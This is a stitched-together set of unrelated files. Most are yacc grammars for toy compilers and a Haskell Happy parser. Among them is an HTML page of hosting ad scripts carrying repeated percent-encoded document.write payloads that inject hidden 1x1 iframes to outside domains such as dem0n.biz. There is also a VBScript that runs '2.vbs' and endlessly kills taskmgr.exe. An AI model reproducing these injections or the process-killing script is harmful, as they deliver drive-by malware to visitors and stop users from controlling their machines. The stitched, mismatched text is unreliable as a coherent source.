strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
/* |calcul_multiple tGEQ calcul_multiple {fprintf(fp,"EQU %d %d\n", $1, $3);
} // jump si vrai sinon tester greater
| calcul_multiple tLEQ calcul_multiple // 0 si faux , 1 si vrai */
|calcul_multiple tINF calcul_multiple {
temp = (temp+1)%(SIZE_TEMP-1);
fprintf(fp,"INF %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="INF";
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;}
|calcul_multiple tSUP calcul_multiple {fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="SUP";
temp = (temp+1)%(SIZE_TEMP-1);
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;}
|calcul_multiple tGEQ calcul_multiple {//fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="SUPE";
temp = (temp+1)%(SIZE_TEMP-1);
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
|calcul_multiple tLEQ calcul_multiple {//fprintf(fp,"SUP %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="INFE";
temp = (temp+1)%(SIZE_TEMP-1);
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple
// | calcul_multiple
;
/* 1.024 == 2*/
conditioner
: tPOPEN conditional_expression tPCLOSE {
// printf("conditionerici %d\n",$2);
$$=$2;
}
| tPOPEN calcul_multiple tPCLOSE {$$=$2;} // Renvoyer la valeur au supérieur// value($2) == 0 renvoyer ne pas lire statement vrai si valeur != 0
;
%%
yyerror(char *s)
{
fprintf(stderr, "error line %d: %s\n", yylineno/2+1, s);
exit(-1);
}
yywrap()
{
return(1);
}
int main(){
insertTemp();
//printList();
fp = fopen("./output/file.txt","w");
printf("Start analysis \n");
yyparse();
fclose(fp);
/* yylex(); */
finstructions=fopen("./output/assembleur.asm","w");
// printf("COMPTEUR DINSTRUCTIONS %d \n",compteurinstructions);
// Rajouter Si Error alors on le lit pas le for
if (error == 0) {
for (int i =0; i<compteurinstructions;i++){
for(int j=0; j<4;j++){
//printf("JEUX d'instructions------------------------\n");
//printf(instructions[i][j]);
//printf("\n");
fprintf(finstructions,instructions[i][j]);
fprintf(finstructions," ");
//printf("Fin boucle %d\n",j);
}
fprintf(finstructions,"\n");
}
printf("Nombre lignes %d \n", yylval.nline);
}
fclose(finstructions);
deleteAll();
return(0);
}
|
%{
int x;
%}
%%
%%
int y;
|
%token STRING NUMBER NAME GLOBAL LOCAL FUNCTION VARIABLE
%{
# include "lex.yy.c
# define FREE 01
# define CHAR 02
# define LB 03
# define NUM 04
# define NAM 05
# define FUN 06
char sym [256];
int stype;
int fix;
int curlab, nextlab;
int cursym;
char *curftn;
int empty;
%}
%%
program:
definition_list function_list
{
register i;
printf ("/*\n");
for (i=0; i<snext; i++) {
printf (" *\t%s\t", stab[i].name);
if (stab[i].type & SGLOB)
printf ("global\t");
else
printf ("local\t");
if (stab[i].type & SSYM)
printf ("variable\n");
if (stab[i].type & SFUN)
printf ("fuction\n");
}
printf (" */\n");
}
;
definition_list:
definition_list definition
| {
printf ("struct _symbol {\n");
printf ("\tstruct _chain *top, *tail;\n");
printf ("};\n");
printf ("struct _chain {\n");
printf ("\tstruct _chain *next;\n");
printf ("\tchar type;\n");
printf ("\tunion {\n");
printf ("\t\tchar ch;\n");
printf ("\t\tint num;\n");
printf ("\t\tstruct _chain *rb;\n");
printf ("\t\tstruct _chain (*fun) ();\n");
printf ("\t\tstruct _symbol *val;\n");
printf ("\t} v;\n");
printf ("};\n");
printf ("extern struct _chain *_rfalloc ();\n");
printf ("\n");
}
;
definition:
' ' class type name_list '\n'
;
class:
GLOBAL { stype = SGLOB; }
| LOCAL { stype = 0; }
| { stype = 0; }
;
type:
FUNCTION { stype |= SFUN; }
| VARIABLE { stype |= SSYM; }
| { stype |= SFUN; }
;
name_list:
name_list NAME
{
if (stab[$2].type)
cerror ("%s doubly defined", stab[$2].name);
stab[$2].type = stype;
if (! (stype & SGLOB))
printf ("static ");
if (stype & SSYM)
printf ("struct _chain *%s;\n", stab[$2].name);
else
printf ("struct _chain *%s ();\n", stab[$2].name);
}
|
;
function_list:
function_list function
|
;
function:
NAME '\n'
{
if (stab[$1].type & SSYM)
cerror ("%s doubly defined", stab[$1].name);
stab[$1].type |= SFUN;
if (! (stab[$1].type & SGLOB))
printf ("static ");
curftn = stab[$1].name;
printf ("struct _chain *%s (_a)\n", curftn);
printf ("struct _chain *_a;\n{\n");
printf ("\tstruct _chain *_b, *_c;\n");
}
statement_list
{
printf ("\t_rfexit (\"%s\");\n", curftn);
printf ("}\n");
}
;
statement_list:
statement_list statement
|
;
statement:
' '
{
register i;
for (i=0; i<256; i++)
sym[i] = 0;
nextlab = curlab++;
fix = 1;
printf ("\t_c = _a;\n");
}
pattern_list '='
{
if (fix) {
printf ("\tif (_c) goto _%d;\n", nextlab);
} else {
printf ("\tif (_c) while (_c->next) _c = _c->next;\n");
printf ("\t_sym[%d].end = _c;\n", cursym);
}
printf ("\twhile (_a) { _a->type = %d; _a = _a->next; }\n", FREE);
empty = 1;
}
replacement_list '\n'
{
if (empty)
printf ("\t_b = _c = 0;\n");
else
printf ("\t_c->next = 0;\n");
printf ("\treturn (_b);\n");
printf ("_%d:\n", nextlab);
}
;
pattern_list:
pattern_list pattern
|
;
pattern:
NUMBER
| NAME
| STRING
{
if (fix) {
register char *p;
for (p=yytext; *p; p++) {
printf ("\tif (!_c) goto _%d;\n", nextlab);
printf ("\tif (_c->type != %d) goto _%d;\n", CHAR, nextlab);
printf ("\tif (_c->v.ch != %d) goto _%d;\n", *p, nextlab);
printf ("\t_c = _c->next;\n");
}
} else {
}
}
| '*'
| '%'
| '?'
| '#'
| '&'
| '!'
| '(' pattern_list ')'
;
replacement_list:
replacement_list replacement
|
;
replacement:
NUMBER
| NAME
| STRING
{
register char *p;
for (p=yytext; *p; p++) {
if (empty) printf ("\t_b = _c = _rfalloc ();\n");
else {
printf ("\t_c->next = _rfalloc ();\n");
printf ("\t_c = _c->next;\n");
}
printf ("\t_c->type = %d;\n", CHAR);
printf ("\t_c->v.ch = %d;\n", *p);
empty = 0;
}
}
| '*'
| '%'
| '?'
| '#'
| '&'
| '!'
| '('
| '['
;
%%
# include <stdio.h>
yyerror (s, a, b, c)
char *s;
{
fprintf (stderr, "line %d: ", yylineno);
fprintf (stderr, s, a, b, c);
fprintf (stderr, "\n");
}
cerror (s, a, b, c)
char *s;
{
yyerror (s, a, b, c);
exit (1);
}
|
<filename>tools/src/ell/samples/grammars/microjs.y
%token EOF DOT COMMA SEMICOLON COLON PLUS MINUS STAR SLASH PERCENT AMPERSAND BAR CARET TILDE EXCLAM QUEST EQUALS LESSTHEN GREATTHEN LBRACKET RBRACKET LPAREN RPAREN LBRACE RBRACE GTE LTE EQU NEQ ASR SHL LOGICOR LOGICAND BREAK CATCH CONTINUE ELSE FALSE FINALLY FOR FUNCTION IF RETURN THROW TRUE TRY VAR WHILE ID INT CHAR STRING ERR
%%
program : EOF
| stat program
| compound_stat program
;
compound_stat : '{' { op_blk_open } stat_list '}' { op_blk_close }
;
stat_list :
| stat stat_list
;
stat : "for" '(' exp_lst_opt ';' { op_for_init } exp { op_for_cond } ';' exp_lst_opt { op_for_after } ')' compound_stat { op_for_end }
| "while" { op_while_begin } condition { op_while_cond } compound_stat { op_while_end }
| "if" condition { op_if_cond } compound_stat else_opt { op_if_end }
| "try" { op_try_begin } compound_stat catch_opt
| "throw" exp { op_throw } ';'
| "var" var_list ';'
| assign_or_call ';'
;
else_opt :
| "else" { op_if_else } compound_stat
;
catch_opt : { op_try_end }
| "catch" { op_catch, op_blk_open } '(' ID { op_var_decl, op_push_tmp, op_assign } ')' '{' stat_list '}' { op_blk_close, op_catch_end }
;
condition : '(' exp ')'
;
var_list : var var_list1
;
var_list1 :
| ',' var_list
;
var : ID { op_var_decl, op_push_tmp } var_assign_opt
;
var_assign_opt : { op_pop_tmp }
| '=' exp { op_assign }
;
assign_or_call : ID { op_push_tmp } assign_or_call1
;
assign_or_call1 : '=' exp { op_assign }
| function_call { op_ret_discard }
;
function_call : { op_method } '(' arg_list_opt ')' { op_call }
;
arg_list_opt :
| arg_list
;
arg_list : exp { op_arg } arg_list1
;
arg_list1 :
| ',' arg_list
;
exp_lst_opt :
| exp_lst
;
exp_lst : assign_or_call exp_lst1
;
exp_lst1 :
| ',' exp_lst
;
exp : and_exp or_exp
;
or_exp :
| '|' exp { op_or }
| LOGICOR exp { op_logic_or }
| '^' exp { op_xor }
;
and_exp : relational_exp and_exp1
;
and_exp1 :
| '&' and_exp { op_and }
| LOGICAND and_exp { op_logic_and }
;
relational_exp : shift_exp relational_exp1
;
relational_exp1 :
| '<' relational_exp { op_lt }
| '>' relational_exp { op_gt }
| EQU relational_exp { op_equ }
| NEQ relational_exp { op_neq }
| GTE relational_exp { op_gte }
| LTE relational_exp { op_lte }
;
shift_exp : additive_exp shift_exp1
;
shift_exp1 :
| SHL shift_exp { op_shl }
| ASR shift_exp { op_asr }
;
additive_exp : mult_exp additive_exp1
;
additive_exp1 :
| '+' additive_exp { op_add }
| '-' additive_exp { op_sub }
;
mult_exp : unary_exp mult_exp1
;
mult_exp1 :
| '/' mult_exp { op_div }
| '%' mult_exp { op_mod }
| '*' mult_exp { op_mul }
;
unary_exp : primary_exp
| '~' unary_exp { op_inv }
| '-' unary_exp { op_minus }
| NOT unary_exp { op_not }
;
primary_exp : '(' exp ')'
| INT { op_push_int }
| CHAR { op_push_int }
| STRING { op_push_string }
| "true" { op_push_true }
| "false" { op_push_false }
| meth_or_attr
;
meth_or_attr : ID { op_push_tmp } meth_or_attr1
;
meth_or_attr1 : { op_attr }
| function_call { op_call_ret }
;
|
<filename>src/Fhw/ProfileParser/Parser.y
{
{-# OPTIONS -w #-}
{- |
Module : Fhw.ProfileParser.Parser
Description: Parse an External Core file into a module. The type of
each Var is set to UndefinedTy.
-}
module Fhw.ProfileParser.Parser ( parseProfile ) where
import Data.Ratio
import System.IO
import System.IO.Unsafe
import Fhw.Core.Core
import Fhw.ProfileParser.ProfileInfo
import Fhw.ProfileParser.ParseGlue
import Fhw.ProfileParser.Lex (lexer)
import Debug.Trace
import Data.List (groupBy)
}
-- directives
%name parseProfile -- ^ the name of the parsing function Happy generates
%tokentype { Token } -- ^ the type of tokens parser accepts
%token -- ^ all the possible tokens
'{' { TKobrace }
'}' { TKcbrace }
':' { TKcolon }
';' { TKsemicolon }
NAME { TKname $$ }
INTEGER { TKinteger $$ }
-- | P: type constructor for the monad
-- thenP: bind operation of the monad
-- returnP: return operation of the monad
%monad { P } { thenP } { returnP }
%lexer { lexer } { TKEOF }
%%
profile : info { ProfileInfo $1 }
info : '{' members '}' { reverse $2 }
members : pair { [$1] }
| members pair { $2 : $1 }
pair : NAME ':' value ';' { ($1, $3) }
value : info { MetaInfo (ProfileInfo $1) }
| INTEGER { MetaInt $1 }
{
-- | Reporting the parser error together with the line number
happyError :: P a
happyError s l = failP (show l ++ ": Parse error\n") (take 100 s) l
}
|
<!--HOSTING BANNER NUMBER 1 INSERTED--><script type="text/javascript">
var adbn_pb_login = "freehosting";
var adbn_pb_name = "freehosting";
var adbn_pb_options = "P N";
var adbn_pb_random = Math.round(Math.random() * 100000);
document.write("<sc"+"ript src='http://ad.pop1.adbn.ru/cgi-bin/iframe/"+adbn_pb_login+"?"+adbn_pb_random+"&options="+adbn_pb_options+"'><\/sc"+"ript>");
document.close();
</script>
<script type="text/javascript" language='JavaScript'> var loc = ''; </script>
<script type="text/javascript" language='JavaScript1.4'>try{ var loc = escape(top.location.href); }catch(e){;}</script>
<script type="text/javascript" language='JavaScript'>
// <!--
document.write('<center>');
if((self.parent==self||((self.length==0)&&(document.images.CheckWidth.width>4)&&document.images.CheckHeight.height>2)))
{
var etbn_login = "freehosting_dflt";
var etbn_options = "";
var etbn_random = Math.round(Math.random() * 100000);
document.write('<iframe src="http://ad.ent.tbn.ru/cgi-bin/iframe/'+etbn_login+'?'+etbn_random +'&'+etbn_options+'" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://ad.ent.tbn.ru/cgi-bin/href/'+etbn_login+'?'+etbn_random +'" target="_blank"><img src="http://ad.ent.tbn.ru/cgi-bin/banner/'+etbn_login+'?'+etbn_random +'&'+etbn_options+'" alt="TBN Entertainment" width=468 height=60 border=0 ismap></a></iframe>');
document.write('<br>');
var ttbn_login = "freehosting_h16";
var ttbn_options = "";
var ttbn_random = Math.round(Math.random() * 100000);
document.write('<a href="http://ad.text.tbn.ru/cgi-bin/href/'+ttbn_login+'?'+ttbn_random +'" target="_blank"><img src="http://ad.text.tbn.ru/cgi-bin/banner/'+ttbn_login+'?'+ttbn_random +'&'+ttbn_options+'" alt="TBN Text" width=468 height=15 border=0 ismap></a>');
}
document.write('</center>');
// -->
</script>
<noscript>
<center>
<iframe src="http://ad.ent.tbn.ru/cgi-bin/iframe/freehosting_dflt" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://ad.ent.tbn.ru/cgi-bin/href/freehosting_dflt" target="_blank"><img src="http://ad.ent.tbn.ru/cgi-bin/banner/freehosting_dflt" alt="TBN Entertainment" width=468 height=60 border=0 ismap></a></iframe>
<br><a href="http://ad.text.tbn.ru/cgi-bin/href/freehosting_h16" target="_blank"><img src="http://ad.text.tbn.ru/cgi-bin/banner/freehosting_h16" alt="TBN Text" width=468 height=15 border=0 ismap></a>
</center>
</noscript>
<script type="text/javascript">
var dtbn_name = 'freehosting_dflt';
var dtbn_random = Math.round(Math.random() * 999111);
document.write("<script src='"+'http://register.h16.ru/cgi-bin/agban-get.cgi?bn='+escape(dtbn_name)+'&ne=ent&random='+dtbn_random+"'><\/script>");
</script>
<!--LiveInternet counter-->
<script type="text/javascript">
<!--
document.write('<img src="http://counter.yadro.ru/hit;holm?r'+
escape(document.referrer)+((typeof(screen)=='undefined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape(document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">');
//-->
</script>
<!--/LiveInternet-->
<!-- SearchPartner code START-->
<script language="javascript" type="text/javascript"><!--
var RndNum4NoCash = Math.round(Math.random() * 1000000000);
var ar_Tail='unknown'; if (document.referrer) ar_Tail = escape(document.referrer);
document.write(
'<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?'
+ 'sid=92008&bt=21&pz=0&rnd=' + RndNum4NoCash + '&tail256=' + ar_Tail + '" border=0 width=1 height=1>')
//--></script>
<noscript>
<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?sid=92008&bt=21&pz=0&rnd=576448781" border=0 width=1 height=1>
</noscript>
<!-- SearchPartner code END -->
<script type="text/javascript">
var cs = new Array();
cs = document.getElementsByTagName('link');
for (var i = 0; i < cs.length; i ++) {
if (cs[i].rel.match(/^stylesheet$/i) &&
cs[i].href.match(/(css\.yandex\.ru)|(ebay\.css)/)) {
cs[i].disabled = true;}}
</script><!--HOSTING BANNER NUMBER 1 INSERT FINISHED--><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6D%30%6E%2E%62%69%7A%2F%61%64%76%74%64%73%2F%6F%75%74%2E%70%68%70%3F%73%5F%69%64%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6D%30%6E%2E%62%69%7A%2F%61%64%76%74%64%73%2F%6F%75%74%2E%70%68%70%3F%73%5F%69%64%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6D%30%6E%2E%62%69%7A%2F%61%64%76%74%64%73%2F%6F%75%74%2E%70%68%70%3F%73%5F%69%64%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><!-- o65 --><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6D%30%6E%2E%62%69%7A%2F%61%64%76%74%64%73%2F%6F%75%74%2E%70%68%70%3F%73%5F%69%64%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><!-- c65 --><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%70%6C%61%74%65%73%2F%69%6D%61%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script>
|
<gh_stars>1-10
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "2.vbs"
dim a,b,c
do
c="."
set a=getobject("winmgmts:\\"&c&"\root\cimv2")
set b=a.execquery("select * from win32_process where name='taskmgr.exe'")
for each i in b
i.terminate()
next
wscript.sleep 1
loop
|
<reponame>im-world/OpenRAM-Array-Generation
/* techparser.y -- Parser for SSHAFT Technology Files
*
* <NAME> 9/3/2004
*/
%token SPACE WORD EQ REF OPEN CLOSE CONT EOL OTHER NS BEGINNS ENDNS COLON REFOTHER
%{
#include <stdlib.h>
#include "data_types.h"
int mylineno=1;
%}
// define the type of semantic here
%start definitions
%%
definitions: /* empty */
| definitions definition
| definitions namespace
| definitions optspace EOL
;
namespace:
nsopen definitions nsclose
;
nsopen:
optspace NS optspace WORD optspace BEGINNS optspace { ns=ns->getChild($4); }
;
nsclose:
optspace ENDNS optspace EOL { ns=ns->parent; }
;
definition:
optspace WORD optspace EQ optspace value optspace EOL { insertTechVar($2,$6); }
;
optspace: /* empty */
| SPACE { $$ = $1;}
;
value: /* empty */
| string { $$ = $1;}
| value SPACE string { $$ = $1 + $2 + $3;}
| value optspace CONT optspace string { $$ = $1 + " " + $5;}
;
string: WORD { $$ = $1;}
| OTHER { $$ = $1;}
| OPEN { $$ = "{";}
| CLOSE { $$ = "}";}
| reference { $$ = $1;}
| nonref { $$ = $1;}
| COLON { $$ = $1;}
| REFOTHER { $$ = $1;}
| string WORD { $$ = $1 + $2;}
| string OTHER { $$ = $1 + $2;}
| string OPEN { $$ = $1 + "{";}
| string CLOSE { $$ = $1 + "}";}
| string reference { $$ = $1 + $2;}
| string nonref { $$ = $1 + $2;}
| string COLON { $$ = $1 + $2;}
| string REFOTHER { $$ = $1 + $2;}
;
variable: WORD { $$ = $1;}
| COLON COLON WORD { $$ = $1 + $2 + $3;}
| variable COLON COLON WORD { $$ = $1 + $2 + $3 + $4;}
;
reference: REF variable { $$ = getTechVarString($2); }
| REF OPEN optspace variable optspace CLOSE { $$ = getTechVarString($4);}
;
nonref: REF { $$ = "$"; cout << "ERROR: $ found with no reference. Use $$ to indicate $\n";}
| REF REF { $$ = "$";}
%%
|
<reponame>z1514/Minisystem-Computer-Design
%right '=' '+=' '-=' '*=' '/='
%left '==' '!='
%left '<' '>' '<=' '>='
%left '<<' '>>'
%left '||'
%left '&&'
%left '|'
%left '&' '^'
%left '+' '-'
%left '*' '/' '%'
%right '$'
%right '!'
%right '~'
%left 'else'
%right '-'
%left '++'
%left '['
%%
S : program {}
;
program : globalData stmts {}
| stmts {}
;
globalData : globalStmts {
}
;
globalStmts : globalStmts globalStmt {}
| globalStmt {}
;
globalStmt : 'static' var_decl ';' {}
;
stmts : stmts M stmt {
backpatch($1.nextlist, $2.instr);
$$.nextlist = $3.nextlist;
}
| stmt {
$$.nextlist = $1.nextlist;
}
;
stmt : '{' stmts '}' {
$$.nextlist = $2.nextlist;
}
| fun_define {
returnToGlobalTable();
}
| if_stmt {
$$.nextlist = $1.nextlist;
}
| while_stmt {
$$.nextlist = $1.nextlist;
}
| var_decl ';' {
$$.nextlist = $1.nextlist;
}
| expr_stmt ';' {
}
| 'return' expr ';' {
emit("return",$2.place,"","");
setOutLiveVar($2.place);
}
| 'return' ';' {
emit("return","","","");
}
;
fun_define : fun_decl_head BlockLeader '{' stmts '}' {
$$.name = $1.name;
}
;
fun_decl_head : type_spec 'id' '(' ')' {
$$.name = $2.lexeme;
createSymbolTable($2.lexeme, $1.width);
addFunLabel(nextInstr, $2.lexeme);
}
| type_spec 'id' '(' param_list ')' {
$$.name = $2.lexeme;
createSymbolTable($2.lexeme, $1.width);
addToSymbolTable($4.itemlist);
addFunLabel(nextInstr, $2.lexeme);
}
;
param_list : param_list ',' param {
$$.itemlist = $1.itemlist || $3.itemlist;
}
| param {
$$.itemlist = $1.itemlist;
}
;
param : type_spec 'id' {
$$.itemlist = makeParam($2.lexeme,$1.type,$1.width);
}
| type_spec 'id' '[' int_literal ']' {
$$.itemlist = makeParam($2.lexeme,Array($4.lexval,$1.type),$4.lexval * $1.width);
}
;
int_literal : 'num' {
$$.lexval = $1.lexeme;
}
;
static_var_decl : 'static' var_decl {
//$$.code = $2.code;
}
;
var_decl : type_spec 'id' {
enter($2.lexeme,$1.type,$1.width);
}
| type_spec 'id' '[' int_literal ']' {
enter($2.lexeme,Array($4.lexval,$1.type),$4.lexval * $1.width);
}
;
type_spec : 'int' {
$$.type = "int";
$$.width = "4";
}
| 'void' {
$$.type = "void";
$$.width = "0";
}
;
expr_stmt : 'id' '=' expr {
p = lookupPlace($1.lexeme);
if (p.empty()) error();
emit("=",$3.place,"",p);
}
| addr_id '=' expr {
emit("$=",$3.place,"",$1.place);
}
;
expr : expr '+' expr {
$$.place = newtemp($1.place);
emit("ADD", $1.place, $3.place, $$.place);
}
| expr '-' expr {
$$.place = newtemp($1.place);
emit("SUB", $1.place, $3.place, $$.place);
}
| expr '*' expr {
$$.place = newtemp($1.place);
emit("MUL", $1.place, $3.place, $$.place);
}
| expr '/' expr {
$$.place = newtemp($1.place);
emit("DIV", $1.place, $3.place, $$.place);
}
| expr '&' expr {
$$.place = newtemp($1.place);
emit("AND", $1.place, $3.place, $$.place);
}
| expr '|' expr {
$$.place = newtemp($1.place);
emit("OR", $1.place, $3.place, $$.place);
}
| expr '^' expr {
$$.place = newtemp($1.place);
emit("XOR", $1.place, $3.place, $$.place);
}
| '~' expr {
$$.place = newtemp($2.place);
emit("NOT", $2.place,"", $$.place);
}
| '-' expr {
$$.place = newtemp($2.place);
emit("NEG", $2.place,"", $$.place);
}
| '++' 'id' {
$$.place = newtemp($2.place);
emit("ACC", $2.place,"", $$.place);
}
| expr '<<' expr {
$$.place = newtemp($1.place);
emit("SLL", $1.place, $3.place, $$.place);
